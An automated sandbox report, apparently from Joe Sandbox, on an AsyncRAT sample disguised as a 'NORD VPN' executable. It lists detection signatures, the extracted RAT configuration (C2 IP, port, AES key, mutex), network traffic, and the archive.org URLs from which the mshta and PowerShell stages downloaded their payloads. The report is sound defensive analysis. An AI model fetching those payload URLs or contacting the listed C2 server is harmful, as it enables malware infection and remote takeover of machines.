Analysis Report xGrfj8RvYg.exe

Overview

General Information

Sample Name:	xGrfj8RvYg.exe
Analysis ID:	433020
MD5:	722603aa75534bec9d1191f062fb2c03
SHA1:	321ea5aa8368f394dcbdcc6ce7ebaab89861150d
SHA256:	3e7cecddd88f1fdc8eb055ef6ab1eacfadb706582cb0fe190d99e493baa78691
Tags:	AsyncRATexeRAT
Infos:
Most interesting Screenshot:

Detection

AsyncRAT

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AsyncRAT

Creates an undocumented autostart registry key

Injects a PE file into a foreign processes

Obfuscated command line found

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Suspicious PowerShell Command Line

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Writes to foreign memory regions

Antivirus or Machine Learning detection for unpacked file

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Non Interactive PowerShell

Tries to load missing DLLs

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Signatures

AV Detection:

Found malware configuration

Source: 00000017.00000000.310047645.0000000000402000.00000040.00000001.sdmp

Malware Configuration Extractor: AsyncRAT {"Server": "216.230.75.62", "Ports": "1107", "Version": "0.5.7B", "Autorun": "false", "Install_Folder": "%AppData%", "Install_File": "windonws.exe", "AES_key": "SZyWY7zJ1VdyEsSSd7sfsCsuxNXhSZI0", "Mutex": "AsyncMutex_6SI8OkPnk", "AntiDetection": "false", "External_config_on_Pastebin": "null", "BDOS": "false", "Startup_Delay": "3", "HWID": "null", "Certificate": "MIIE8jCCAtqgAwIBAgIQAMKnEVcvuQIQtAqxOy+oYTANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjEwNTE5MTM0ODQ1WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAJvrsFgFjIMG1rYF1vehk3BhjSHAlQ5Noq7MIKWRa9CgdZHCTN/Gh9VwaWUYqMuzn6F4pGWgSAmwwuuouwlMe4g37Srpvawl5ocRkOnMC4MAsh08mucPg8f/kUN3DFtqO2yfgr3i83yX9keSdfqaCRcUoXh8Qhqa5F8Mlkd2yVOcsZvmTvaLsCtRZo9YOMZ/fnPBzu2NS+xv3qaqW723pMfbrFS04iokkSp5pRQhQRWPCNJ737a0ac9gBS/g1nAuElqEl62AgbprR6YAqsbsrSDo6kOEx7t071C7gbJaO4lu33Kchi/gIC3ftleFFQhqjWTIfxcOp/kuej5DIHH9QvyE12oi1qFc8dn+EVZ2yENyQcx4NOx73zUmFh20JIMW2x4qOfuT+MkkUstDEezdXOec8PzkGMhclDzMmhD3ZA1oIGnsupJHRTTPqMHHw8tx48rj09Xv4TQARpmMffPbW+GmunkNmKHqOsMN8oj2iVwbRK7mg+UJfUyQ+hhTz/AqeWaoRGjLJVSX/R6fs2uWXX6GD8ECOxEJfnm5hLQxwr0RRwOLqu+oVMvFqOZ3+4G1UD7QIIPESId0n6EdnDCLIGuk6PqXpqR7QQU+zvRmeK6VHOH/btjAYUNkEAM6gO0Z6hk6xDeCGxXnqtr3FWyk7V9FZoi4OSzqDPvyYf849Q1nAgMBAAGjMjAwMB0GA1UdDgQWBBR2rTenBO42ADwEdSVfGFG7Id35BjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQBkM4Am3dA31vOlVb3L4HKAuNkOPN+Iw4uslCNRYxtAc3xbiaqC8tXWcNvzNWfVdTOYjdEbo8g5+weIaD7D5vmoHzvkkyEm9+1EMMl8KcMo4I/jQmvObI74N31e43thfQb0OPP32xc3M2gRpxplMLyPGl9M22u8r5tQPo2JX/YpP5oa8gSZLo4LK2grkQLI45aGm1CWuqrpReCckH6UZOoR2EeDHf+VDcSrNQ0KJUG6tyEWWUg0FTs0hham+juKVb7Ai9ktQekAfJpAz0GGIXjd4YRwug5GabiJTbL5vW64E8q38Lz/rITER9f1Tho9r7bw9EKTGp1Q6MB9PSLHxOBeefDvpxIO6G+O8p+s7Gd5GEFDkF9z6UxVeJifhI4G2fwTz3IkbpzlZ2lBslkCy/iHGYSRDwOvhA+VDmzKXJHoW7BK1PgBQcZ2m+N8BNIHScqCanzHjQhoFMJL9f7r+/rqtJ/ranxVgK+66zGwMf6MW3u9PF93O3bln9A7Yr6dEhKReQDi0R9/qhJbqisz7Fmo8/6zn715MHHfz2pRPGlPFQKuqug8RfieY8maAZj11TUtQuOiToVFoRQHtbT1JjYQXTq++aXZA47BRKFnqmVIj+zLGHo/FkWbraZL+35yLAfwwlE/YopW+uYFcIHAHgDQhWmfD7MuiwYAY4YtNkgi5g==", "ServerSignature": "hb4rbDi2yorRia4zVii6fBe5zR5qZuT/oNzKkm5RCPxVI+DpAg6tP0HKmjqKbYbfXixb6DODIWmirNXfb6RavFFZFj5L1BSmGSCWmeVDM/IkG1v7H8053Uky0QHQ2bPzEIhio/2bZG7nxydLDiWz7jOA5hTZddxPN8Br/tFDBgOA2YvoFolDN/SyqFz61tucLLLKImugUQPB4sHE/xkAyXi1gtGQ/16xTSWjEKwIRYr/7rvSmfWpY/5oDiJvkWS/1MZAIQNLY1fyi9FRErVVeUnnTikLjZhOkouk7/QdJsJez78RuLjg+I5tTMBYhxG6q81sg7SrqotPY0sK3ZZAKaU4Vrmy1LKrBMpNQv3JiIWlI/lS56GB2bN/TA9sLcKAATEeWREuz8l/bJURfyZFk91OWqZ1mHwEXQGj5Wttm8jf+gG2TbMHgCPcpwFUFMqB7fSQIKv+pU1KOAvU64CUeLTzks4X5N8aHvduxLez78VMAyXSa2PWbv9znaxZZWCGScStHepOMiR4AXViv5F4HTb8v2nZ2x60Q0rMNmZ3T1yMA+WbdCeNBQDFD8roIU7iXGsheZ3Cfnd9MOYde+KESXBKyoZGdGoocdgu9NTzxVBAZ9fOUEXjXRfS6fh+dnAJc0GNGimVg/1EX6Q+xeKnpb2b73IU7G28wz78gQndt1Y=", "Group": "Default"}

Antivirus or Machine Learning detection for unpacked file

Source: 23.2.aspnet_compiler.exe.400000.0.unpack

Avira: Label: TR/Dropper.Gen

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 207.241.227.119:443 -> 192.168.2.3:49719 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.227.126:443 -> 192.168.2.3:49727 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.224.2:443 -> 192.168.2.3:49728 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.232.198:443 -> 192.168.2.3:49729 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 207.241.227.112:443 -> 192.168.2.3:49715 version: TLS 1.2

Source: xGrfj8RvYg.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: C:\Users\Win 10 test Antiviru\Desktop\NORD VPN\NORD VPN\obj\Debug\NORD VPN.pdb source: xGrfj8RvYg.exe

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic

Snort IDS: 2030673 ET TROJAN Observed Malicious SSL Cert (AsyncRAT Server) 216.230.75.62:1107 -> 192.168.2.3:49747

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.3:49747 -> 216.230.75.62:1107

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 207.241.227.126 207.241.227.126
Source: Joe Sandbox View	IP Address: 207.241.227.112 207.241.227.112
Source: Joe Sandbox View	IP Address: 207.241.224.2 207.241.224.2

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 207.241.227.119:443 -> 192.168.2.3:49719 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.227.126:443 -> 192.168.2.3:49727 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.224.2:443 -> 192.168.2.3:49728 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.232.198:443 -> 192.168.2.3:49729 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62
Source: unknown	TCP traffic detected without corresponding DNS query: 216.230.75.62

Source: unknown

DNS traffic detected: queries for: ia601502.us.archive.org

Source: powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: http://archive.org
Source: mshta.exe, 00000002.00000002.216634769.0000020091AF8000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.477549946.0000027D87D00000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: mshta.exe, 00000002.00000002.216634769.0000020091AF8000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.477549946.0000027D87D00000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0
Source: mshta.exe, 00000002.00000002.216660984.0000020091B0A000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.469024271.0000027D856CD000.00000004.00000020.sdmp	String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: powershell.exe, 00000003.00000003.207486771.0000027D9F6B6000.00000004.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.469001250.0000000000E65000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000002.00000002.216634769.0000020091AF8000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.477549946.0000027D87D00000.00000004.00000001.sdmp	String found in binary or memory: http://crl.godaddy.com/gdig2s1-1597.crl0
Source: mshta.exe, 00000002.00000002.216660984.0000020091B0A000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.469024271.0000027D856CD000.00000004.00000020.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: mshta.exe, 00000002.00000002.217675863.0000020893C10000.00000004.00000001.sdmp, powershell.exe, 00000003.00000002.484398533.0000027D9F8A2000.00000004.00000001.sdmp	String found in binary or memory: http://crl.godaddy.com/gdroot.crl0F
Source: mshta.exe, 00000002.00000002.217675863.0000020893C10000.00000004.00000001.sdmp	String found in binary or memory: http://crl.goi
Source: powershell.exe, 00000003.00000002.484556145.0000027D9F8E4000.00000004.00000001.sdmp	String found in binary or memory: http://crl.microsoft
Source: aspnet_compiler.exe, 00000017.00000002.469001250.0000000000E65000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: aspnet_compiler.exe, 00000017.00000002.469001250.0000000000E65000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: powershell.exe, 00000003.00000002.478183437.0000027D87F0E000.00000004.00000001.sdmp	String found in binary or memory: http://ia601406.us.archive.org
Source: powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: http://ia803408.us.archive.org
Source: powershell.exe, 00000003.00000002.484556145.0000027D9F8E4000.00000004.00000001.sdmp	String found in binary or memory: http://microsoft.co
Source: powershell.exe, 00000003.00000002.482180457.0000027D97365000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000002.00000002.216634769.0000020091AF8000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.477549946.0000027D87D00000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.godaddy.com/0
Source: mshta.exe, 00000002.00000002.217675863.0000020893C10000.00000004.00000001.sdmp, powershell.exe, 00000003.00000002.484398533.0000027D9F8A2000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.godaddy.com/02
Source: mshta.exe, 00000002.00000002.216660984.0000020091B0A000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.469024271.0000027D856CD000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.godaddy.com/05
Source: powershell.exe, 00000003.00000002.472681637.0000027D873CF000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.472135094.0000027D871C1000.00000004.00000001.sdmp, aspnet_compiler.exe, 00000017.00000002.470750040.0000000002BE1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.472681637.0000027D873CF000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: https://archive.org
Source: powershell.exe, 00000003.00000002.477635897.0000027D87D15000.00000004.00000001.sdmp, powershell.exe, 00000003.00000002.478302181.0000027D87F6C000.00000004.00000001.sdmp	String found in binary or memory: https://archive.org/download/run-02-02-02/Run_02_02_02.TXT
Source: powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: https://archive.orgx
Source: mshta.exe, 00000002.00000002.216660984.0000020091B0A000.00000004.00000020.sdmp, powershell.exe, 00000003.00000002.484398533.0000027D9F8A2000.00000004.00000001.sdmp	String found in binary or memory: https://certs.godaddy.com/repository/0
Source: powershell.exe, 00000003.00000002.482180457.0000027D97365000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.482180457.0000027D97365000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.482180457.0000027D97365000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.472681637.0000027D873CF000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.480627087.0000027D88C97000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.478105936.0000027D87EC6000.00000004.00000001.sdmp	String found in binary or memory: https://ia601406.us.archive.org
Source: powershell.exe, 00000003.00000002.484398533.0000027D9F8A2000.00000004.00000001.sdmp, powershell.exe, 00000003.00000002.478105936.0000027D87EC6000.00000004.00000001.sdmp, powershell.exe, 00000003.00000002.477673861.0000027D87D1D000.00000004.00000001.sdmp	String found in binary or memory: https://ia601406.us.archive.org/32/items/run-02-02-02/Run_02_02_02.TXT
Source: powershell.exe, 00000003.00000002.472681637.0000027D873CF000.00000004.00000001.sdmp	String found in binary or memory: https://ia601406.us.archive.org/9/items/server-lol-123_20210603/
Source: powershell.exe, 00000003.00000002.477549946.0000027D87D00000.00000004.00000001.sdmp	String found in binary or memory: https://ia601406.us.archive.org/9/items/server-lol-123_20210603/Server_lol123.txt
Source: powershell.exe, 00000003.00000002.477673861.0000027D87D1D000.00000004.00000001.sdmp	String found in binary or memory: https://ia601406.us.archive.org/9/items/server-lol-123_20210603/Server_lol123.txt0ywI
Source: powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: https://ia601406.us.archive.org8
Source: powershell.exe, 00000003.00000002.478105936.0000027D87EC6000.00000004.00000001.sdmp	String found in binary or memory: https://ia601406.us.archive.orgx
Source: mshta.exe, 00000002.00000002.216563943.0000020091AC3000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/
Source: mshta.exe, 00000002.00000002.216487813.0000020091A30000.00000004.00000020.sdmp, xGrfj8RvYg.exe	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txt
Source: mshta.exe, 00000002.00000002.216688146.0000020091B21000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txt...
Source: mshta.exe, 00000002.00000002.216688146.0000020091B21000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txt...7l
Source: mshta.exe, 00000002.00000002.216487813.0000020091A30000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txt0
Source: mshta.exe, 00000002.00000002.216487813.0000020091A30000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txt1
Source: mshta.exe, 00000002.00000002.216487813.0000020091A30000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txtC:
Source: mshta.exe, 00000002.00000002.216513449.0000020091A66000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txtQ
Source: mshta.exe, 00000002.00000002.216513449.0000020091A66000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txtf
Source: mshta.exe, 00000002.00000002.216513449.0000020091A66000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txto
Source: mshta.exe, 00000002.00000002.216513449.0000020091A66000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txtr
Source: mshta.exe, 00000002.00000002.216764785.0000020091CE0000.00000004.00000040.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txts
Source: mshta.exe, 00000002.00000002.216660984.0000020091B0A000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txtst-MC:
Source: xGrfj8RvYg.exe, 00000000.00000002.199598225.0000000002B51000.00000004.00000001.sdmp, mshta.exe, 00000002.00000002.216487813.0000020091A30000.00000004.00000020.sdmp	String found in binary or memory: https://ia601502.us.archive.org/2/items/clean-lol-123_20210603/Clean_lol123.txtx
Source: powershell.exe, 00000003.00000002.477168577.0000027D87BD2000.00000004.00000001.sdmp	String found in binary or memory: https://ia601509.us.archive.org
Source: powershell.exe, 00000003.00000003.210047788.0000027D9F8AB000.00000004.00000001.sdmp	String found in binary or memory: https://ia601509.us.archive.org/
Source: powershell.exe, 00000003.00000003.207800027.0000027D9F706000.00000004.00000001.sdmp	String found in binary or memory: https://ia601509.us.archive.org/21/items
Source: mshta.exe, mshta.exe, 00000002.00000002.217899024.0000020893D10000.00000004.00000001.sdmp	String found in binary or memory: https://ia601509.us.archive.org/21/items/all-lol-123_20210603/AL
Source: PowerShell_transcript.715575.7kfD7GZs.20210611063402.txt.3.dr, Clean_lol123[1].txt.2.dr	String found in binary or memory: https://ia601509.us.archive.org/21/items/all-lol-123_20210603/ALL_lol123.TXT
Source: powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: https://ia803408.us.archive.org
Source: powershell.exe, 00000003.00000002.477549946.0000027D87D00000.00000004.00000001.sdmp, powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: https://ia803408.us.archive.org/9/items/run-02-02-02/Run_02_02_02.TXT
Source: powershell.exe, 00000003.00000002.478315679.0000027D87F6F000.00000004.00000001.sdmp	String found in binary or memory: https://ia803408.us.archive.orgx
Source: mshta.exe, 00000002.00000002.216563943.0000020091AC3000.00000004.00000020.sdmp	String found in binary or memory: https://login.live.comq
Source: powershell.exe, 00000003.00000002.482180457.0000027D97365000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown

HTTPS traffic detected: 207.241.227.112:443 -> 192.168.2.3:49715 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected AsyncRAT

Source: Yara match	File source: 00000017.00000000.310047645.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.467029735.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.470750040.0000000002BE1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 6396, type: MEMORY
Source: Yara match	File source: 23.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE

Creates a window with clipboard capturing capabilities

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Window created: window name: CLIPBRDWNDCLASS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAEDAE0E57	3_2_00007FFAEDAE0E57
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAEDBB25E9	3_2_00007FFAEDBB25E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFAEDBB15ED	3_2_00007FFAEDBB15ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 23_2_02ACD5F0	23_2_02ACD5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 23_2_02AC9530	23_2_02AC9530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 23_2_02AC8C60	23_2_02AC8C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 23_2_02ACF298	23_2_02ACF298
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 23_2_02AC8918	23_2_02AC8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 25_2_0141D5AC	25_2_0141D5AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 25_2_0141F5F2	25_2_0141F5F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 25_2_0141D5A0	25_2_0141D5A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 25_2_0141B8FC	25_2_0141B8FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 25_2_0141DB69	25_2_0141DB69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 25_2_0141DB78	25_2_0141DB78

Source: xGrfj8RvYg.exe, 00000000.00000002.199383295.0000000000F10000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs xGrfj8RvYg.exe
Source: xGrfj8RvYg.exe, 00000000.00000000.196616953.00000000008C4000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameNORD VPN.exe2 vs xGrfj8RvYg.exe
Source: xGrfj8RvYg.exe, 00000000.00000002.199294357.0000000000E2A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs xGrfj8RvYg.exe
Source: xGrfj8RvYg.exe, 00000000.00000002.199463500.0000000000F70000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs xGrfj8RvYg.exe
Source: xGrfj8RvYg.exe, 00000000.00000002.199463500.0000000000F70000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs xGrfj8RvYg.exe
Source: xGrfj8RvYg.exe	Binary or memory string: OriginalFilenameNORD VPN.exe2 vs xGrfj8RvYg.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscorjit.dll			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscorjit.dll			Jump to behavior

Source: 00000002.00000003.214415545.00000208942AB000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000002.00000002.217899024.0000020893D10000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000002.00000002.218422171.00000208942AD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: PowerShell_Case_Anomaly date = 2017-08-11, author = Florian Roth, description = Detects obfuscated PowerShell hacktools, reference = https://twitter.com/danielhbohannon/status/905096106924761088, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\Clean_lol123[1].txt, type: DROPPED	Matched rule: webshell_asp_obfuscated date = 2021/01/12, author = Arnim Rupp, description = ASP webshell obfuscated, license = https://creativecommons.org/licenses/by-nc/4.0/

